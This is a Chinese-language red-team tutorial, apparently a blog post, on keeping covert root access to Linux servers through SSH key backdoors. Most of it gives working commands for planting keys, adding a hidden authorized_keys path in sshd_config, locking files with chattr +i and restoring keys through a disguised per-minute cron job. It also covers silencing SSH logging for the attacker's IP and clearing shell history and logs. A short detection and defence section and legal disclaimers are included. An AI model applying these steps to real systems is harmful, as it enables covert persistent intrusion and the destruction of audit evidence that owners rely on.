Linux 系统权限维持之 SSH 后门

免责声明

本文仅用于授权的企业安全测试、攻防研究与防护体系建设，严禁用于任何未授权的非法入侵行为。任何使用者违反国家法律法规造成的后果，由使用者自行承担，作者与平台不承担任何法律责任。

一、概述与实验环境说明

1.1 本文目标

SSH 协议是 Linux 服务器最常用的远程管理协议，基于非对称加密的公钥认证机制，是运维人员实现免密登录的常用方式，同时也是红队在 Linux 环境中实现长期权限控制的首选方案。相比反弹 Shell、SUID 提权等后门，SSH 密钥后门具备流量加密、系统原生支持、免杀性极强、稳定可靠的特点，哪怕目标主机修改了 root 用户密码、修复了初始打点的漏洞，只要公钥文件未被清除，红队就能随时重新获取系统最高权限。

本文从红队实战场景出发，覆盖从基础 SSH 密钥后门搭建、进阶隐蔽化改造、权限维持加固到蓝队规避的全流程操作，所有步骤均使用 Linux 系统原生工具完成，无需额外上传工具，同时配套对应的避坑提示、实战优化技巧与蓝队检测防御方案，帮助测试人员在合规范围内完成权限维持操作，同时理解对应的防护逻辑。

1.2 实验环境与前置条件

角色	系统环境	IP 地址	关键配置
红队攻击机	Kali Linux 2024.4	192.168.100.100	用于生成密钥对、发起 SSH 连接，预装 ssh-keygen、ssh 等原生工具
目标靶机	Ubuntu 22.04 LTS	192.168.100.200	企业环境主流服务器发行版，内核 5.15.0-94-generic，默认开启 SSH 服务，防火墙放行 22 端口流量

前置条件：红队已通过合法授权的渗透测试，获取目标靶机的 root 用户权限；攻击机与靶机内网互通，无边界安全设备拦截 22 端口的 SSH 流量。

【前置避坑提示】

SSH 公钥认证对文件权限有极其严格的要求，若权限配置不符合 SSH 的安全规则，公钥认证会直接失效，这是新手最容易踩坑的点。具体要求为：

1、root 用户的.ssh 目录权限必须为 700，仅所有者拥有读写执行权限

2、authorized_keys 文件权限必须为 600，仅所有者拥有读写权限

3、.ssh 目录与 authorized_keys 文件的所有者必须为对应用户，不能是其他用户

若权限配置错误，SSH 服务会直接拒绝公钥认证，且只会在 SSH 服务日志中记录错误，不会在客户端返回明确提示，导致后门失效。

二、基础 SSH 密钥后门搭建与实战

SSH 公钥认证的核心原理，是通过非对称加密算法生成一对密钥：公钥与私钥。公钥可以公开分发，写入目标靶机的授权密钥文件中；私钥由红队本地留存，严格保密。红队发起 SSH 连接时，靶机通过公钥加密随机数发送给客户端，客户端用私钥解密后返回验证，验证通过即可直接登录系统，无需输入用户密码。

2.1 实战操作步骤

1、红队攻击机生成SSH密钥对，选择ed25519算法（相比RSA更轻量、兼容性强、隐蔽性好）

2、查看生成的公钥内容，后续需要写入靶机的授权密钥文件

root@kali:~# cat /root/.ssh/backup_service_key.pubssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7M1+6y/aUdrL8eX7q3j9sD6f5h4j3k2l1m0n9b8v7c6x5s4d3f2g1h0j9k8l7m6n5o4p3i2u1y0t backup-service@local

3、切换到目标靶机，创建.ssh目录，配置合规的权限

root@ubuntu:~# mkdir -p /root/.sshroot@ubuntu:~# chmod 700 /root/.ssh

4、将红队攻击机生成的公钥，写入靶机的authorized_keys授权文件

root@ubuntu:~# echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7M1+6y/aUdrL8eX7q3j9sD6f5h4j3k2l1m0n9b8v7c6x5s4d3f2g1h0j9k8l7m6n5o4p3i2u1y0t backup-service@local" >> /root/.ssh/authorized_keys

5、配置authorized_keys文件的合规权限，避免SSH认证失效

root@ubuntu:~# chmod 600 /root/.ssh/authorized_keysroot@ubuntu:~# chown root:root /root/.ssh/authorized_keys

6、确认靶机SSH服务开启公钥认证，修改配置后重启服务生效

root@ubuntu:~# sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/g' /etc/ssh/sshd_configroot@ubuntu:~# sed -i 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' /etc/ssh/sshd_configroot@ubuntu:~# systemctl restart sshd

7、验证SSH服务状态，确认服务正常运行

8、红队攻击机验证后门有效性，使用私钥直接登录靶机root用户，无需输入密码

2.2 实战优化技巧

基础的密钥后门虽然可用，但很容易被蓝队排查发现，这里补充两个基础优化技巧，提升后门的隐蔽性：

1、公钥写入时使用追加模式（>>），而非覆盖模式（>），避免覆盖靶机原有的运维公钥，导致运维人员发现异常

2、修改公钥的注释内容，不要使用红队、攻击、后门等敏感字样，优先使用 backup-service、system-monitor、auto-sync 等系统常用服务名称，降低被人工排查发现的概率

三、SSH 密钥后门进阶隐蔽化与权限维持加固

基础的密钥后门仅能实现免密登录，在实战中很容易被蓝队清理，比如运维人员发现未知公钥后直接删除，或者修改 SSH 配置关闭公钥认证，导致后门失效。本节讲解实战中高可用的进阶改造方案，实现后门的长期稳定运行，同时大幅提升隐蔽性，规避蓝队的常规排查。

3.1 公钥文件防删除锁定

蓝队排查到未知公钥后，最直接的操作就是删除 authorized_keys 文件，我们可以通过 Linux 系统的文件扩展属性，锁定公钥文件，禁止任何用户（包括 root）修改、删除文件，哪怕 root 用户也无法直接删除，必须先解除锁定。

【冷知识提示】

chattr 命令的 i 属性，是 Linux 系统的文件系统级扩展属性，比常规的 rwx 权限优先级更高，哪怕是 root 用户，也无法直接修改、删除锁定的文件，是红队实战中保护后门文件的常用手段。蓝队常规的 ls -l 命令无法看到扩展属性，必须使用 lsattr 命令才能查看，隐蔽性极强。

3.2 非默认路径授权密钥文件植入

蓝队的常规排查，只会检查 /root/.ssh/authorized_keys 这个默认路径的授权文件，我们可以修改 SSH 服务的配置，新增一个非默认的授权密钥文件路径，放到蓝队很少排查的系统目录中，实现隐蔽的后门植入，哪怕默认路径的公钥被清理，非默认路径的公钥仍能正常使用。

1、修改SSH服务配置文件，新增非默认的授权密钥文件路径

# 新增的路径为/usr/local/lib/.system-libs/authorized_keys，属于系统库目录，蓝队极少排查root@ubuntu:~# sed -i 's/#AuthorizedKeysFile .ssh/authorized_keys/AuthorizedKeysFile .ssh/authorized_keys /usr/local/lib/.system-libs/authorized_keys/g' /etc/ssh/sshd_config

2、创建非默认路径的目录，配置合规的权限

3、将红队的公钥写入非默认路径的授权文件，配置合规权限并锁定

4、重启SSH服务，使配置生效

root@ubuntu:~# systemctl restart sshd

5、红队攻击机验证后门有效性，非默认路径的公钥可正常登录

3.3 多用户批量植入后门

实战中，仅植入 root 用户的后门风险较高，一旦 root 用户的 SSH 登录被限制，后门就会失效。我们可以批量遍历靶机上所有有登录权限、有 sudo 权限的用户，给每个用户都植入公钥后门，实现多路径的权限控制，哪怕单个用户的权限被限制，仍能通过其他用户登录系统，再提权到 root。

1、遍历靶机上所有可登录的用户，筛选出/bin/bash、/bin/sh登录shell的用户

2、批量给所有可登录用户植入公钥后门，配置合规权限并锁定

3、验证普通用户的后门有效性，红队攻击机通过ubuntu用户登录靶机

3.4 后门自动恢复机制

为了避免蓝队删除公钥文件导致后门失效，我们可以配置定时任务，每分钟检测公钥文件是否存在、是否包含我们的公钥，若被删除或修改，自动重新写入公钥并锁定文件，实现后门的持久化自动恢复。

1、创建自动恢复脚本，放到系统库目录，伪装成系统同步脚本

2、给脚本添加执行权限，锁定脚本文件防止被删除

3、配置定时任务，每分钟执行一次恢复脚本，放到系统级cron目录，隐蔽性更强

四、SSH 密钥后门的蓝队规避技巧

实战中，蓝队会通过 SSH 日志、登录行为、文件排查等方式发现后门，这里分享几个红队实战中常用的规避技巧，降低被蓝队发现的概率：

1、指定 IP 登录豁免日志记录：修改 SSH 服务配置，仅对红队的攻击 IP 不记录登录日志，其他 IP 的登录日志正常记录，蓝队查看日志时无法发现红队的登录痕迹。操作方式为在 sshd_config 文件末尾添加如下配置：

Match Address 192.168.100.100    SyslogFacility AUTHPRIV    LogLevel QUIET

配置完成后重启 SSH 服务，来自 192.168.100.100 的 SSH 登录，不会在系统日志中留下任何记录。

2、使用非标准 SSH 端口：修改 SSH 服务的监听端口，从默认的 22 端口改为 443、8443 等常用端口，避免边界设备的端口扫描发现 SSH 服务，同时蓝队的常规排查只会关注 22 端口的 SSH 日志，容易忽略非标准端口的登录行为。

3、公钥配置强制命令限制：在公钥前面添加 command 参数，限制红队登录后仅执行指定的命令，避免蓝队蜜罐捕获到完整的 Shell 权限，同时降低异常操作被检测的概率。示例如下：

command="sudo /bin/bash" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7M1+6y/aUdrL8eX7q3j9sD6f5h4j3k2l1m0n9b8v7c6x5s4d3f2g1h0j9k8l7m6n5o4p3i2u1y0t backup-service@local

4、跳板机转发登录：红队永远不要用本机 IP 直接登录目标靶机，至少通过 3 层以上的跳板机转发 SSH 连接，隐藏真实 IP 地址，哪怕蓝队发现了登录日志，也只能溯源到跳板机，无法定位到红队的真实地址。

五、蓝队检测与防御方案

针对红队的 SSH 密钥后门攻击，蓝队可以通过以下几个维度构建完整的检测与防御体系，实现对 SSH 密钥后门的精准发现与拦截：

1、定期排查所有用户的 authorized_keys 文件，包括默认路径与非默认路径，核对每一条公钥的归属，清除未知的、无备案的公钥；同时使用 lsattr 命令检查文件的扩展属性，发现被 chattr +i 锁定的文件，立即启动应急排查。

2、检查 SSH 服务的配置文件 sshd_config，重点核对 AuthorizedKeysFile、PubkeyAuthentication、LogLevel 等配置项，发现非默认的授权密钥路径、异常的日志静默配置，立即排查是否存在后门植入。

3、开启 SSH 登录日志的全量审计，配置日志实时同步到不可篡改的远程日志平台，监控异常的 SSH 登录行为，比如非工作时间的登录、陌生 IP 的登录、普通用户的 sudo 提权行为，出现异常立即告警。

4、配置 SSH 服务的安全加固，包括：禁用 root 用户直接 SSH 登录、配置 IP 白名单仅允许指定网段的 IP 发起 SSH 连接、关闭密码认证仅允许备案的公钥认证、定期轮换 SSH 密钥对，缩小攻击面。

5、部署主机入侵检测工具，监控.ssh 目录、sshd_config 文件的修改行为，监控定时任务的新增与修改操作，一旦出现非计划内的修改，立即触发告警并阻断操作。

六、红队实战长期权限控制心法

SSH 密钥后门的长期权限控制，核心不是植入多少个后门，而是让后门不被蓝队发现，这里分享几个红队实战总结的核心心法：

1、权限最小化：不要给所有用户都植入后门，优先选择运维人员常用的、有 sudo 权限的普通用户，避免修改 root 用户的配置引发异常告警。

2、操作无痕化：所有植入操作尽量在内存中完成，不要留下临时文件；操作完成后清理 Shell 历史与系统日志，避免留下操作痕迹。

3、多路径冗余：不要仅依赖单一的 SSH 密钥后门，配合定时任务反弹 Shell、SUID 提权后门等其他权限维持方案，实现多路径的权限冗余，哪怕 SSH 后门被清理，仍能重新获取系统权限。

4、流量伪装：SSH 连接优先通过 443 端口的 Socks 代理转发，流量加密传输，避免被边界安全设备识别出异常的 SSH 连接行为。

5、合规操作：所有操作必须在获得目标企业的书面授权后进行，严格遵守授权范围，严禁超出授权的攻击行为。

结尾声明

本文所有内容均为攻防研究与安全防护提供技术参考，任何组织与个人必须在获得合法授权的前提下使用相关技术，严禁用于非法攻击活动。网络空间不是法外之地，请严格遵守《中华人民共和国网络安全法》等相关法律法规。

🎁 互动与福利

分享本文到朋友圈，点赞+在看+关注，一键三联，可以凭截图找老师领取

上千学习资料+工具哦

分享后扫码加我！